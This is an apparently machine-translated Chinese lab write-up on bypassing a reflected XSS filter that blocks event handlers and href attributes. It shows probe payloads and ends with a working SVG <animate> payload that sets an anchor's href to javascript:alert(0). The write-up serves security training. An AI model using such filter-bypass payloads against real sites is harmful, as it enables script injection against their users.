> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-with-blocked-events-and-href-attributes.md).

# 带被阻止事件和 href 属性的 XSS

### 带有事件处理器和 href 属性被阻止的反射型 XSS

实验 d 该操作必须注入一个带有以下文字的可点击元素 **“点击”** （或等效内容）并触发 `alert()` 在点击时。

插入一个可见元素，包含单词 **点击** 当用户点击它时，会执行 `alert()` 尽管已禁止事件处理器和 `href`.

```javascript
<script>
```

* 插入 `<script>` 返回： *标签不允许*.

<figure><img src="/files/0585a202de039e5d578df2bc4810fc8a1be4e289" alt=""><figcaption></figcaption></figure>

* 该 `<a>` 标签被接受（例如 `<a>test</a>`),

```javascript
<a>test</a>
```

<figure><img src="/files/e36cd6c32dc41fc74b02be202f92f7339529c4dc" alt="" width="510"><figcaption></figcaption></figure>

该 `href` 属性被拒绝—— `href="JavaScript:..."` 被阻止。

```javascript
<a href="javascript:alert(0);"点击我</a>
```

<figure><img src="/files/c8ab42dd17084af35adb03bbefee0d385ae74268" alt=""><figcaption></figcaption></figure>

* SVG 元素被允许（`<svg>` 被接受）。

```javascript
<svg>
```

<figure><img src="/files/a1b55efb397fc98e6c98efda6bdfaf9bc174299a" alt="" width="563"><figcaption></figcaption></figure>

* SVG 动画元素（例如 `<animate>`）似乎存在且可被利用。

<figure><img src="/files/b73a7d3f01c20c1eb5c75d1146fafc32b61faf69" alt=""><figcaption></figcaption></figure>

**尝试——**

* 注入 `<script>` → 被拒绝。
* 使用 `<a href="JavaScript:...">` → 被禁止的属性。
* 通过结合 SVG 和动画元素来绕过阻止，将一个 `href` 值传递给锚点，从而尝试运行 `JavaScript:alert(0)` 在点击时。

```javascript
<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=30>点击我!</script></a>
```


---

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